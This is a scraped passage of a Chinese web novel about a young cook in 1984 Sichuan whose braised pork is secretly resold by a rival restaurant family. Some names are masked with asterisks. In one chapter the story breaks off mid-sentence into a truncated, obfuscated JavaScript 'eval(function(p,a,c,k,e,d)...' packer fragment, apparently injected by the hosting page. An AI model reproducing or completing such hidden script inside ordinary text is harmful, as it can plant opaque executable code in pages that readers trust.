“上星期我不是找人问了一些信息，然后给夏瑶写了一些就业建议嘛，她跟她妈只提了三十五个字。周砚也给了她一些建议，结果她写了一页纸夸周砚！周砚肯定是给她灌**汤了。”孟安荷咬牙切齿。 林志强憋着笑，能同时惹恼这姐妹俩，周砚还是有些本事的，笑着说道：“说不定人家周砚提的建议确实好呢，我这段时间跟他一起跑步，他的一些看法，连我都觉得惊艳。 他虽然年轻，但不是那种夸夸而谈的人，不懂的他就认真听着，但只要是他愿意聊的，绝对有自己独到的见解。” “瞧给你得意的，心里乐着吧？”孟安荷剐了他一眼，林志强对周砚可稀罕着呢，巴不得他和夏瑶能成。 林志强微笑道：“夏瑶是你从小看着长大的，是随便一个乡镇小厨子花言巧语就能把她给骗走的？那必然是周砚的身上有你没有发现的闪光点，让她这样的天之骄女都觉得耀眼，才会迫不及待的想要和她妈分享。” “你这话倒是说到点子上了，周砚要真是一个只会花言巧语的小厨子，夏瑶肯定是看不上他。”孟安荷点头道：“我姐也是这样想的，所以才会寄这么一封加急的信给我，让我好好探一探周砚的底。一是看他这个人品行能力如何，二来是看看他的家风怎样。” “品行端正，能力出众，这两点我可以作保。”林志强笑着道：“你看看，他当初是为他师父鸣不平，才和王德发起冲突被开除的，事实证明王德发就是个贪婪的混球，周砚尊师重道。” “他奋不顾身，跳青衣江勇救夏瑶，这种舍命救人的精神，更是足以证明他品行极佳。” “能力就更不用说了，从纺织厂被辞退后，立马顺应政策开饭店当个体户，短短四个月，就把饭店开的红红火火，把厂食堂的小炒区都干垮了。” “就这样的年轻人，谁见了不夸一句好样的？” 孟安荷听完也是默默点头，老林虽然偏心周砚，但句句属实，这些事她都是看在眼里的。 光从品行、能力来看，周砚确实一点不比她设计院那些刚毕业出来的大学生差。 大学生一个月才拿五十块钱。 周砚的饭店开的红红火火，一天都不止赚五十吧？ “那我咋回？也写信夸三页啊？”孟安荷看着林志强，带着几分无奈：“我怕明天我姐就带着姐夫坐飞机杀过来了。” “你就照实写呗。”林志强笑呵呵道：“夏总就这一个宝贝女儿，从小当掌心宝宠着的，他要明天杀过来，那我一点都不意外。” “我想想啊……”孟安荷揉了揉自己的太阳穴，转过去把电视关了，看着俩目光呆滞的儿子吼道：“吃饭！还看铲铲，吵的我脑壳痛！” 林景行立马乖乖跑到桌边坐着。 林秉文则是一脸惊奇的看着孟安荷：“妈妈？你什么时候学会四川话了？” “啪！”孟安荷的手已经伸过来，抽在了他的屁股上。 “因为你妈发现四川话骂人确实朗朗上口！”孟安荷冷笑道：“劳资蜀道山！你还在这站着，我就去拿你爸爸的皮带了！” “来！”林志强刷的就解下皮带递了过去。 “爸爸，我们说好的亲密战友呢！你这个叛徒！”林秉文尖叫着往桌子方向跑去。 …… 求月票~ 晚上还会有一张加更！ (本章完) 第132章 你们在板命吗？！（4500月票加更！ 黄兵和**骑着自行车到工厂门口的时候，刚好碰上工厂下班。 滚滚自行车浪潮把他们拍到了边上，推着自行车都动不了一点。 “这个纺织厂的工人好多啊！”**感慨道，“我还以为乡镇上的工厂，没多少工人呢。” “你懂啥，这可是咱们嘉州的创汇大户，挣的都是刀乐！”黄兵给她翻了个白眼，目光落在一旁的甜皮鸭摊子上。 还没等他开口，一把卤花生就塞他手里了。 “尝尝，自家卤的卤花生，还热乎着呢。”赵明辉笑着说道，给**也塞了一把。 “谢谢啊老板。”**明媚地笑了笑，马上剥了一颗喂到嘴里，眼睛一亮，点着头道：“好吃！卤的好香啊，花生粒也饱满大颗，热乎乎的，真好吃。” “小姑娘嘴真甜。”赵明辉乐得，又给她抓了一把，“再来点，揣着慢慢吃。” “不用不用，多少钱一斤，我称点。”**不接了，把车停下说道：“好吃，那得买才是真，不然都是客套话。” 赵明辉笑着道：“四**五一斤，称一斤？” “卖这么便宜啊，我家人多，一斤不够分的，给我来一块钱的。”**从钱包里摸了一块钱出来。 “好嘞！”赵明辉立马拿了油纸袋给她装，这姑娘不光嘴甜，出手也大方呢。 “是挺香的。”黄兵剥了一颗花生丢嘴里，打量着笑容明媚的**，好像突然有点明白为啥大家都喜欢她了。 嘴甜，会夸人，也会办事。 虽然胖了点，但胖的可爱啊，脸蛋圆圆的，一点攻击性都没有。 相比之下……好像他瘦的并没有那么被人待见。 “老板，你这甜皮鸭多少钱一只啊？”**提着分两袋装的卤花生，又问道。 “我们是正宗的木城甜皮鸭，称斤卖的，一块六一斤，这一只也就两斤左右。”赵明辉提着刀：“要不要切一块给你尝尝？” “不用不用，我下回再来买。”**连忙摆手，“你这甜皮鸭看着就好吃，面上的糖一看就是麦芽糖，油烫的颜色也漂亮，红亮红亮的，资格得很！而且你卖的比嘉州便宜，嘉州随便一家问都要一块八、两块钱一斤，还没你这个正宗。” “你太懂了！不买也没关系，我切一块给你尝尝嘛。”赵明辉的菜刀已经忍不住了。 “不行！我要是尝了不买，心头过不得。”**摇头，态度坚决：“我今天不准备吃甜皮鸭。” “行，那下回来嘛。”赵明辉笑着把刀放下，他算看出来了，这姑娘面善嘴甜，但心头有自己的主意，说不要，那是真不要，勉强不得。 “下回一定，我们先去吃饭了。”**笑着点头，见车流变小，便推上自行车往周二娃饭店走去。 饭店门前卤肉摊已经排起了两条长队，各有十多人的样子，这一幕让黄兵和**都有些震惊： “这么多人排队？” 嘉州城里生意最好的赵记卤味，也不曾见过这等盛况啊。 “瞧瞧，这就是味道的力量啊！”**看着那两条长队，一脸感慨：“只要你的味道足够好，低价就没法把你打败，顶多抢走一些低价值的客人。真正的老饕，是愿意为味道加钱的。” “你说我要是去摆摊卖周砚做的卤味，能不能挣到钱？”黄兵摸着下巴琢磨道。 **看着他一脸认真道：“你那刀工，还是别糟蹋好东西了，你能把耳片切的跟橡皮擦一样厚，简直暴殄天物啊。” “**！你真可恶……”黄兵咬牙切齿，快被气**。 “赵嬢嬢，吃花生！”**走进店门，先跟赵铁英打了声招呼，顺手抓了一把花生放她围裙的口袋里。 “哎哟，谢谢你，乖乖。”赵铁英笑着说道，“搞快，那边角角还有一个座位，你们兄妹俩个去坐刚合适。” “要得！”**应了一声，快步走过去落座，路上还给赵红也塞了一把花生，给隔壁喝酒的两个大叔也抓了一大把，“来，卤花生陪酒，越喝越有。” 两个大叔受宠若惊，看了看**，又看了看桌上的酒，其中一个拿起酒瓶问道：“妹儿，你要不要喝点？” “不喝，我一会还骑车呢，不能醉驾。”**摆手笑道，“谢谢啊，叔叔。” 黄兵捂脸，她怎么跟谁都能聊两句啊？ 也对，从小就是个话痨嘛，搬个小板凳坐酒楼门口，能跟来往的人聊一天。 她还真是一点没变…… “莺莺姐姐。”周沫沫抱着一个纸包凑过来，献宝一样递到**面前：“米花糖，你尝尝。” “哎呦喂，还是沫沫对我最好啊，米花糖都想得到我呢。”**伸手拿了一块，嚼起来嘎嘣脆，笑着点头：“嗯，好甜，好香哦！谢谢你。” “不客气。”周沫沫开心地笑，又把袋子往黄兵面前递了递，“你也吃。” “我也有啊？”黄兵有些意外。 “对啊。”小家伙乖巧点头。 黄兵笑着伸手拈了一块，咬了一口，确实又香又脆。 苏稽的米花糖，舅舅每年都会给他们带一大包，以前吃怎么感觉没那么甜呢？ 两人点了菜，周沫沫坐在**身边，俩人叽叽喳喳聊个不停。 黄兵一手抵着下巴，靠在桌上，忍不住发笑。 两个幼稚鬼，两个话痨，真是对上了。 赵嬢嬢忙里抽空还给他们倒了两大碗温水过来。 两人道了谢，端起碗吨吨吨喝了起来。 这一趟十多公里路骑下来，又是一身汗，确实渴了。 菜一上桌，周沫沫立马就闪人了。 “你那么多糖，怎么不给她带两颗？”黄兵看着**问道。 “沫沫才三岁半，糖吃多了会蛀牙的。”**夹了一筷子猪肝，笑着道：“而且，我就是吃糖多了变胖的，你看她现在多可爱，少吃点糖也挺好的，她已经够甜了。” 黄兵看了眼她手边只咬了一口的米花糖，眉头微皱，这还是**吗？ 晚上预算不足，他们只点了一份火爆猪肝和一份油渣莲白，还要了一碗跷脚牛肉。 跷脚牛肉是黄兵强烈要求的，也不知道是不是错觉，中午喝了汤，他感觉自行车蹬起来都有劲多了。 汤喝完了，黄兵还厚起脸皮又去添了一碗，自个一个人喝完。 **只吃了一碗饭就饱了，这对于平时三碗不下桌的她来说，属实有些稀奇。 黄兵倒是饭量大涨，喝完一碗半的牛肉汤，还吃了两碗饭，盘子里的油渣都拿来拌饭吃完了。 “你怎么回事？吃这点就饱了？”黄兵放下筷子，摸着自己微微凸起的肚子，看着**有些疑惑。 “不知道啊？我就是觉得饱了……”**也是一脸疑惑，想了想：“会不会是水喝饱了？” “挺好的，你少吃点，我还能多吃点。”黄兵笑了。 俩人结了账，实在撑得慌，推着自行车沿着河坝走了一圈，才骑上车回家。 到家的时候，赵淑兰正抱着猪蹄边啃边吃看电视剧，黄鹤坐在一旁桌上，面前摆着三盘卤肉，手里端着一个精致的白酒杯，也吃的津津有味。 不用管娃吃啥，两口子这日子果然一下子过得悠闲自在起来。 猪蹄是蒸过的，咬起来软软糯糯，可太香了，赵淑兰特意留着当晚饭呢，一边吃一边看剧，脸上的笑容都温柔了几分。 “妈~” “妈？” “妈妈——” 俩人一进家门，就扯起嗓子喊了起来。 “你们在板命吗？！”赵淑兰回头瞪了一眼两人，“滚去洗澡，莫要惊叫唤，喊得我脑壳痛！” 两人连忙把嘴闭上，对了一下眼神，忍不住偷笑。 “老汉儿，给你带的卤花生下酒。”**把剩的一包卤花生给黄鹤撕开摆桌子上。 “周砚卤的？”黄鹤眼睛一亮。 “不是，路边摊摊，我觉得味道还可以在，你给带的。”**笑着摇头。 黄鹤剥开一颗花生，三颗粒大饱满的花生米滚到他手里，一把丢到嘴里嚼着，点点头道：“嗯，是不错，还多香。” “还是女儿好，想得起老汉儿。”黄鹤笑着道，还不忘敲打一下旁边扶着墙准备上楼的儿子。 “老汉，我其实也想给你买的，只是囊中羞涩，确实摸不出多的一角钱啊。”黄兵两手一摊，笑容中透着几分寒酸的无奈。 “反正你出门喝酒的时候是永远不缺钱的，出去跟别人喝得行，怎么不在家里跟你老汉两个喝两杯呢？”黄鹤看着他揶揄道：“老子是缺你一个杯杯，还是少你一双筷子？你出门能喝到八块钱一瓶的茅台？还是能吃到这么好的卤肉？” 黄兵愣了一下，看着桌上的三盘卤肉，还有一旁的茅台，感觉好像有点道理哦。 “老汉，你等到我！我去洗个澡就来跟你喝！”黄兵转身蹬 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“锅锅睡着了，现在轮到妈妈和爸爸了。”周沫沫扒着床沿下了床，穿上自己的鞋子，走到门口还踮起脚尖把门口的灯给拉了。 很快，隔壁房间就传来了赵嬢嬢有点暴躁的声音。 “天神耶~你还不睡吗？以后再也不让你午睡了……” …… 第二天天蒙蒙亮，小周同志和老周同志就出门去买菜了。 今天多订了两个猪头，给飞燕酒楼的。 “周砚，你这猪头要的量一天比一天多，我这边也给你调不过来啊，我在周边乡镇调六个是极限了，要更多的话，我就要提前跟我在嘉州杀猪的堂哥说，让他帮忙想办法。”章老三一边帮忙把猪肉往背篼里装，一边和周砚说道：“但是要让他们送到苏稽来，一次需要加五毛钱运费，十个以内一车能拖回来都是这个价。” “要得，等我要五个以上的时候，我再提前跟你说，到时候就请你堂哥帮忙代买代送。”周砚点头，微笑着道：“不过你要跟他说清楚，瘟猪、病猪、老母猪，还有品相不好的猪头就不要送来了，你晓得我选猪肉的眼光的，看不上我肯定不会要，送了也白送。 到时候不光运费拿不到，猪头也折手里。只要猪肉好，我结现钱，一分都不会赊。都是几十年的刀儿匠，好坏分得清撒。” “哎呀，你放心，我这关过不了的话，我不会拿给你的。”章老三拍着胸脯保证道。 周砚现在已经是他这肉摊的第一大客户，排骨、二刀、猪头，一天要几十斤肉，而且每天稳定要。 本来他杀三天猪要歇一天的，结果因为周砚，硬是改成了周日单休。 周砚年纪不大，但看肉确实准。 肉质要是稍微差点，他扭头就走，根本不跟你掰扯的。 他现在选猪肉，都是精挑细选的，就怕周砚不满意，一下子损失几十斤的销量。 猪头他从同行那里压价拿，卖给周砚一斤能赚一毛钱差价，五个猪头就能多挣两块五，这钱挣的可太香了。 “要得，那我们就先回去了。”周砚应了一声，把猪头的供应解决，也算是解决了一件心事。 他反正按六毛钱一斤买剔骨猪头肉，至于章老三从同行那里按什么价格收，挣多少钱差价，那就全凭他个人本事。 章老三选的猪头都不差，二十多年的刀儿匠，猪肉好不好，一眼就看得出来。 周砚乐得省却这个功夫，不然光是到处去找刀儿匠一个一个的收猪头就够他忙一上午，还得和各种小贩扯皮。 这就是食材供应商的价值！ 回去的路上，老周同志看着周砚道：“周砚，你这次借的这本书我看不懂呢？图书馆有没有水浒？你下次帮我借一本嘛。” “要得，下午去给你借嘛。”周砚笑着点头，《围城》他看完都有点打脑壳，更别说老周同志了。 想到图书馆门口看门的汪大爷，周砚就忍不住想笑。 不知道这位大师今天会给他推荐什么书。 —— （PS：4k加更！今天又双叒万更！ 这个月已经更新了二十万字！对轻语而言无法想象的勤快！ 求月票~~助力小破店冲一下月票榜！拜托了各位！） (本章完) 第133章 砚哥，你可真是个人才！（64k二合一 第133章砚哥，你可真是个人才！（6.4k二合一） 今天黄家兄妹来的比昨天还晚了一些，工厂工人都上班了，他们才到饭店门口。 周砚正坐在门口磕着瓜子给老周同志指导调漂技巧，就看到黄兵和**把车停下，戴着痛苦面具龇牙咧嘴的下车来。 他笑着站起身来，看着一瘸一拐的两人道：“怎么回事啊？” “路上摔了吗？”赵铁英也是一脸关切的问道。 **苦着一张脸，有些委屈道：“嬢嬢，没摔，就是昨天来回骑了三趟，早上起来腿太疼了……” “又酸又涨的，感觉不是我的腿了。”黄兵的笑容中也透着几分苦涩。 他们俩今天早上六点半就出发了，结果早上一骑车，那酸爽简直要命，昨天四十分钟能到的路程，骑了一个多小时才到。 起了个大早赶了个晚集。 “周老板，还有面吗？”**期待中又带着几分忐忑的看着周砚问道。 “不会卖完了吧？”黄兵也有点担心，昨晚见识过周砚这饭店的生意有多火爆，支撑着他们骑车的动力就是来吃一碗好吃的面条。 “放心，知道你们要来，给你们一人留了一碗。”周砚笑着说道，“今天吃什么？” “我今天要尝尝红烧排骨面。”黄兵道。 “我要吃双椒碎花牛肉拌面！”**毫不犹豫道，她昨天看黄兵吃可馋疯了。 “好，进来坐吧。”周砚应了一声，转身往厨房走去。 吃过面，兄妹俩出门。 “走呗，回家。”黄兵跨上自行车，表情略显痛苦道。 “你回吧，我要去找外婆玩，吃了晚饭再回家。”**有些得意地笑道：“反正我的零花钱已经到手，但你不行哦，你得回去骑摩托来拿卤肉。” “你……你要不回去，我的零花钱不就泡汤了？！”黄兵有点懵。 **笑着说道：“笨蛋，你现在是重要工具人，负责来拿卤肉，这是在帮酒楼干活，你拿的那叫工钱，不叫零花钱，老妈还会主动给你的摩托车加满油。 老妈要是问起我来，你就说我今天腿疼，实在回不去了，等明天腿好了再骑三趟，昨天的猪蹄可是我给她买的，她会原谅我的。” “行。”黄兵点头，别说是**了，他腿也疼的不想动，“那你中午还来吃饭不？” “当然来啊！十一点半，咱们在这准时碰头，我把外婆一起带来，让她尝尝跷脚牛肉。”**应道。 “要得。”黄兵点头，骑上车走了。 **也是皱着眉，咬着牙爬上了车，晃晃悠悠的往纺织厂家属院的方向骑去。 “这兄妹俩，关系还挺不错的。”赵铁英笑着道。 “是不错吧……”周砚笑了笑，难评。 十点左右，周砚把浸泡充分的卤肉逐一从卤锅中捞出，逐一摆在大簸箕上，色泽红亮的卤肉，热气腾腾，香气四溢。 周砚拼了两个猪头出来，选的都是品相最好的肉，装在垫着纱布的竹篮子里边。 两个猪头，也就是十斤肉，份量其实不错。 “呜——” 摩托车的声音从门口响起。 “来了？”周砚探头看了一眼，门口停着一辆绿色的嘉陵70，来人正是黄兵。 摩托车的后座上已经连夜加装了两个边框，还都是铁皮盒子，扎实又带点神秘感，构造和周砚的二八大杠挂两背篼差不多。 嘉陵70的坐垫是一体式的，这俩铁皮盒子固定上去还是花了些心思，一看就不太好拆卸。 这样一来，后座的乘坐体验大幅下降。 帅气骚包的新摩托车，也是彻底沦为送货车了。 黄兵把车停下，进门来的表情已经没了那日开着新摩托的得意和潇洒，多了几分尴尬。 1984年，没有人能同时拥有嘉陵70和自卑。 除非他后座挂俩铁盒子。 “黄少，送外卖呢？”周砚忍不住嘴贱。 “啊？”黄兵愣了一下，没听懂。 “没啥，车改的挺好的，挺实用。”周砚笑道。 “我老汉找人给我改的，丑爆了！”黄兵连连摇头，又道：“还好可以拆卸，除了麻烦点，不然这样骑出门，妞都不好意思带。” “这不挺好，一边坐一个，还能带俩。”周砚笑呵呵。 “砚哥，你也是个人才啊。”黄兵瞠目结舌，进了店，小声问道：“货备好了吗？” “卖个卤肉，不要搞得像是卖什么特殊交易一样。”周砚有些无语。 黄兵挠头：“我老汉说的，交易要小心，不要被人看到，免得被有心人找麻烦。” “那他就不应该弄辆嘉陵70给你来拿货，装上这俩货柜，想让人不注意都难。”周砚笑道。 “对哦……”黄兵愣住，刚刚一路过来，回头率简直爆表了，狗见了都要回头看两眼。 外边那排摊贩，更是一个个伸长了脖子瞧着。 这样搞，很难不让人发现啊。 “那咋办？”黄兵有点头疼了。 周砚琢磨了一下道：“下回来，把摩托车在你舅家楼下找个偏僻点的地方停着，给你的自行车跟我这个一样装俩背篼，也别穿皮衣、皮裤、皮鞋了，弄身素净低调点的衣服，把卤肉装回去再换车，这样就不容易被注意到了。” “这倒是个好办法！”黄兵眼睛一亮，他刚刚已经在考虑换自行车送了，不过这样一来，他一天得来回跑四趟，累死个人。 按周砚的方法，能顺道出来骑一趟摩托，油门一轰，二十分钟就能把卤肉送回酒楼。 “砚哥，还得是你啊！脑子转得快。”黄兵由衷道。 周砚笑着把一个圆形的竹篮子递上：“来，这是今天的卤肉，卤猪头肉八斤，卤猪耳朵和卤猪拱嘴各一斤二两，共计二十一块七角六分，给二十一块七角就可以了。” 竹篮子上盖着白色纱布，既能防尘，又能遮挡视线。 “好。”黄兵伸手接过，看都没看一眼，直接掏了两张大团结和两块钱一并递给了周砚。 周砚给他找了三毛钱，还手写了一张收据，把重量和价钱一并写上。 黄兵瞅了一眼，道：“要不你多写两块？” “那你老汉回去一复称，我成啥了？”周砚给了他一个白眼。 “我开个玩笑的。”黄兵哈哈笑道，把收据收好，提着篮子出门，小心装进铁盒子，拧着油门走了。 周砚看着那刻意压慢的车速，笑着点点头，黄少看着还是有点谱的。 黄兵一路小心翼翼的回了飞燕酒楼，把车停在后门，左右瞧了瞧，确认没人，这才打开箱子，提着卤肉快步进门。 “老汉儿！”一进后厨，他就开始喊人。 后厨，李老三正在跟几个厨师和墩子谈话，纷纷回头看向了他。 “李叔，你们忙，不用管我。”黄兵笑着摆摆手，瞧见黄鹤在店堂里坐着，快步走了出去。 “拿回来了？”黄鹤听到动静已经起身过来。 “对。”黄兵点头，凑近了才小声道：“两个猪头，十斤四两，二十一块七，有收据。” 黄鹤不动声色的点头，低声道：“收据你先收着，别在店里拿出来，以后肉拿了直接提到厨房放着，就说老宅拿过来的，别往店堂外边拿。” “要得。”黄兵点头。 “跟我来。”黄鹤往后厨走去。 黄兵提着肉快步跟上。 “老板。”李老三看到黄鹤，打了个招呼。 黄鹤看着他道：“李师傅，今天我准备上几道卤菜，要跟你先确定一下份量和摆盘。” “卤菜？”李老三有些意外，往黄鹤身后看了眼，除了黄兵并无他人：“老板请的凉菜师傅来了？” 黄鹤笑着道：“没有请师傅，我把家里祖传的卤肉配方试出来了，味道比那些凉菜师傅做的都要巴适的多，以后我们飞燕酒楼的百年老卤，就要慢慢恢复了。” “老板自己卤的？”李老三意外之余，表情略带古怪。 他在飞燕酒楼干了十多年了，黄鹤几斤几两他可太清楚了，他哪会卤肉啊。 飞燕酒楼百年老卤的传闻，他来了之后也听闻过。 但从未见过，也从未品尝过。 以前酒楼归公家，老板藏着秘方倒也情有可原。 可前两年酒楼归还黄家，老顾客隔三岔五问卤肉，也不见老板上卤菜啊。 这不前段时间还在到处打听凉菜师傅，他还给介绍了个蓉城那边的师弟呢，据说都谈到工资那一步了。 怎么突然就自己把百年老卤捣鼓出来了？ 不过老板的面子要给足，也不敢瞎问。 “我哪有这个功夫去卤肉，是我堂哥把手艺传承下来了，如今可算是出师了，老黄家家传的手艺，可不是外边那些卤肉能比的。”黄鹤笑容中透着几分得意，招了招手：“黄兵，把肉拿过来，给各位师傅瞧瞧，再讨论讨论这肉要怎么切，怎么摆。” 黄兵上前，把竹篮放在台面上，揭开上边盖着的纱布，露出了篮子里堆叠而起卤猪头肉和卤猪耳朵，红亮的颜色，泛着诱人的油光。 李老三和众厨师纷纷围了过来，皆是眼睛一亮。 “这卤肉的颜色好漂亮！红亮红亮的，糖色才正宗哦！” “卤香也很诱人，香料调和的很好，不是那种冲鼻的味道。” “不愧是老板家里百年传承的手艺，确实看着就不一样。” 众厨师纷纷赞美道，不忘给黄鹤拍两个彩虹屁。 “硬是不一般，这卖相，太漂亮了。”李老三同样惊叹，他卤菜手艺不得行，但见过世面，晓得好与撇。 黄鹤和黄兵爷俩抬起下巴，嘴角微微上扬，表情一模一样。 那股得意劲，好像这卤肉真是他们做的一般。 黄鹤笑着说道：“来，李师傅，我们先来定切法，以及分量。” “要得。”李老三点头，立马有徒弟搬来他的专用砧板和菜刀，他洗了手，擦干之后，从篮子里拿起一块卤猪头肉。 这卤猪头肉拿在手里就晓得火候很对，软而不烂，一抖颤颤巍巍，但又有韧劲在里头。 吃猪头肉不能太耙软，没得嚼头的东西是不适合拿来下酒的。 “卤猪头肉要切五公分宽，一钱厚，一份的份量大约是四两，拿这个盘子装应该刚好合适。”黄鹤挑了一个白色瓷盘，放在砧板旁。 “要得。” 李老三答应了一声，手中菜刀刷刷落下，一片片铜钱厚的卤猪头肉便顺着落下，用刀铲起往盘子里顺着摆一圈往中间堆砌，红亮的卤猪头肉浸透了卤汁，色泽如琥珀般，堆叠起来相当漂亮。 “好！就按这个标准来！”黄鹤满意极了，拍手道。 李老三不愧是一级大厨，这刀工和摆盘都是相当有水平，说什么他一下子就能理解到位，并且超额完成。 黄鹤接着道：“卤猪耳朵按三两一份算，差不多就是一只耳朵一盘，要切的薄，能透光的那种，而且要切的匀净，保证口感的一致性。” 李老三闻言先切了两刀，拈起两片厚度有点差异的耳片道：“哪一个更符合标准？” “我看……”黄鹤左看右看，索性把两片耳片都吃了，点头道：“稍微厚一点那个，够薄能透光，但也有点嚼头，不然进了嘴巴都感觉不到，那就差点意思。” 李老三点头，刷刷就是一顿切，一只猪耳朵被切成了均匀的薄片，抓散了往白色瓷盘一装，红亮的色泽立马被凸显出来了，看起来相当不错。 很快，猪拱嘴也切片装了盘。 三盘卤肉往台面上一摆，看着确实有档次。 “这卤肉的颜色太漂亮了，卤的火候控的好，卤水浸透进肉里面，把颜色染成了琥珀色，是比外头卖的那些卤猪头好太多了。”李老三赞叹道。 这倒不是拍老板马屁，只有对上等卤肉的赞赏。 肉的品质如何，切的时候他心里就有数了。 一锅卤的肉，但火候把控的极好，卤猪耳朵保证了脆爽的口感，而不是和猪头肉那般软糯。 “李师傅刀工好，摆盘也是一绝。”黄鹤同样连连点头，相当满意。 李老三闻言笑了笑，老板的话还是中听。 这要是另外请了个厨师，他肯定不会那么尽心尽力的帮着切和摆盘，还要防一手被偷家。 但既然是老板自家卤的，那就没得说了，适当展现刀工，有利于巩固在老板心中的地位，以及将来涨工资。 黄鹤冲着一旁一个矮胖青年说道：“孙洲，你刀工好，切卤肉的活就交给你，以后就按李师傅这个标准来切和摆盘，不能有差错哈。” “老板，我这刀工跟李师比还是有差距的，我切是没问题，但你要让李师多多指点我才行哦。”孙洲点头道。 “李师傅，你说呢？”黄鹤笑问道。 李老三听了孙洲的话很是受用，笑着点头道：“要得，我肯定不得藏私嘛。” 黄鹤让黄兵拿了一桶筷子过来，招呼众人道：“来嘛，大家都尝尝看，今天要是有老客户来，我就准备开始推了，看看这样的卤肉定价好多合适。” 试菜环节，可是大家最喜闻热见的。 李老三先动筷，夹了一块卤猪耳朵到嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好好好，我都记下了，一会我和淑兰商量一下，再把价格确定下来。”黄鹤认真听着，连连点头，又指着那三盘卤肉道：“大家喜欢，分了吃嘛，不过篮子里这些就要留给客人了哈。” “要得！”众人笑着应道。 黄鹤和黄兵对了一下眼神，走出了后厨。 赵淑兰刚从楼上下来，闻声往厨房方向看来。 黄鹤快步过来，招呼黄兵一起进了一旁的雅间，把门关上。 “卤肉拿来了？”赵淑兰问道。 “拿了，还让李老三把切的标准和摆盘都定好了，我让大家尝了，都说好。”黄鹤脸上难掩兴奋之色：“连厨师吃了都赞不绝口，咱们推出这卤肉，客人肯定很满意！” 赵淑兰闻言也笑了，她对这卤肉同样信心满满，开口道：“价格怎么定？” 黄鹤把众人的建议说了一遍。 赵淑兰拿出纸笔算了一会，说道：“我觉得卤猪头肉1.6元，卤猪耳朵卖1.8元一份，这样单份的价格看起来没有那么突兀的高。 卖堂食为主，如果客人要外带，就还是按份来算，不称斤卖。这样毛利能有五成以上。” 黄鹤闻言琢磨了一会，点头道：“要得，就按你说得来。” “这个价拿，还能翻倍挣啊？”黄兵在旁听得有些诧异。 “开酒楼毛利不过半，半个月就要关门。”赵淑兰白了他一眼，开口道：“你晓得我们有好多员工？各种餐具、厨具、桌椅板凳一个月的损耗好多不？还有打点关系，维系客户……” 黄兵听得昏昏欲睡，等赵淑兰说完了，一脸期待的开口道：“那我想去摆摊卖卤肉，你们觉得可以不？” 黄鹤看了一眼，嫌弃道：“你那刀工，还是别糟蹋好东西了，你能把耳片切的跟砧板一样厚，简直是暴殄天物。” 黄兵瞪眼：“老汉！你说的比**还过分！” “说明我们父女心连心。”黄鹤笑道。 “烦！我去找孙洲练刀工！我就不信了，我还切不好一个猪脑壳！”黄兵气冲冲走了。 黄鹤和赵淑兰对了一下眼神，都有点意外。 “太阳打西边出来了？这家伙竟然还会主动要去练刀工？”黄鹤疑惑。 “他会想自己去卖卤肉挣钱，这才更奇怪。”赵淑兰笑着道：“转性了？莫非是看到周砚跟他一样年纪，已经自己挣钱自己花，被刺激到了？” “教会的麻雀唱不圆，按倒的鸡婆不下蛋！我们喊他做的事情从来没有成过，不晓得他这会是不是真下了决心哦。”黄鹤摸着下巴，脸上也有几分期待之色。 …… 中午营业结束，周砚车篮子放了一包卤肉和一本书，慢悠悠的往图书馆去。 图书馆门口，汪大爷靠在躺椅上，闭着眼睛，轻轻摇晃着。 一旁收录机里传来评书声：“单雄信猛拍他肩头：“某出三百两！再赠兄台貂裘御寒！”围观者哗然中，秦琼抬眼望向这萍水相逢的豪杰，风雪模糊了视线，只觉怀中金锏隐隐发烫……” 周砚把车停下。 “《围城》看完了？”汪大爷眼睛都没睁开，便知道是周砚来了。 “对，看完了，今天来找您借新书。”周砚听着一旁收录机里的声音，笑着到：“放的是《隋唐演义》？” “对，讲的挺有趣味，听着不费眼。”汪大爷坐起身来，瞧着周砚笑道：“你倒也见识广博，听几句就知道是哪本了。” “猜的。”周砚笑道，《隋唐演义》的评书他没听过几集，但《隋唐英雄传》他从小爱看啊。 “给您带了点卤肉配酒。”周砚把油纸包装着的卤肉递上。 “你这卤肉味道确实不错，上回那包我配着喝了四两酒，平时只能喝二两。”汪大爷伸手接过，笑着问道：“多少钱？我得给你算钱了。” “大师，你给我挑两本书就行，要什么钱呢，知识无价。”周砚笑着摆手，把车篮里哪本《围城》拿在手里，又补充道：“我老汉想看《水浒传》，让我给他带。” 汪大爷闻言笑了笑，略一思索道：“《水浒传》在进门第二个书柜第三排靠右边第五本，你这次可以看第五个书柜，第二排，最后那本。一个年轻作家写的，我觉得你们年轻人值得看一看。” “要得。”周砚拿着书进门，先把《围城》放回原位，又去把《水浒传》找到，按着大爷给的指引，找到了第二排最后那本书。 淡蓝色占据八成的封面上，只有简单的一朵小花和五个字： 《人生》——路遥著。 小小的一本书。 周砚拿着两本书出来，放到车篮子里。 汪大爷已经把油纸袋打开，手边多了一杯酒，看着周砚笑问道：“卤牛肉学会没有？张记的卤味里面，我记忆最深的还是卤牛肉。” 求月票~！ (本章完) 第134章 是天生不爱笑吗？（6k二合一） “卤牛肉还差点火候，等我学会了，一定给你带点尝尝。”周砚笑着说道。 “要得。”汪大爷点点头，拈了一片猪头肉喂到嘴里，又抿了一口酒，笑着长舒了一口气：“跟那姑娘还写信？” “嗯，得了大师指点，现在写信格式、开场白、结束语都不成问题了。”周砚笑着点头，也不急着走，搬了张小板凳过来坐下。 “你也喝点？”汪大爷指了指一旁的酒瓶。 “我喝不了一点，晚上还要炒菜。”周砚笑着摇头，脸上露出了几分八卦之色：“大师，你年轻的时候是不是经常写情书啊？” “年轻的时候忙得很，天南地北的跑，有个屁的时间写情书。”汪大爷又抿了一口酒，目光看向远方，表情多了几分深沉，“你说，那时候真有那么忙吗？连一封信都写不了……” 收录机里，年轻的单大爷说个不停，汪大爷却再没开口说一个字。 周砚骑着车走了，没听到八卦，但愈发肯定大师肯定是个有故事的人。 下回给他带瓶好酒，多喝两杯，说不定话匣子就打开了。 飞燕酒楼的销路一开，今天的营业额立马增加二十一块七，虽然利润率降了点，但算下来毛利应该也有个七块左右。 这钱挣的轻松啊，卤好了黄兵自个上门取货，还不用他们动刀，美滋滋。 黄家兄妹俩，一天来吃三顿。 从昨天点的菜来看，一天的餐标应该是六块六左右，也就是三天二十块钱。 两个人，这是相当高的标准了。 属于高净值客户。 督促**减肥这事吧，周砚其实也没太好的办法。 只能使点小心机了，比如每顿饭前让赵嬢嬢给他们上一海碗温水。 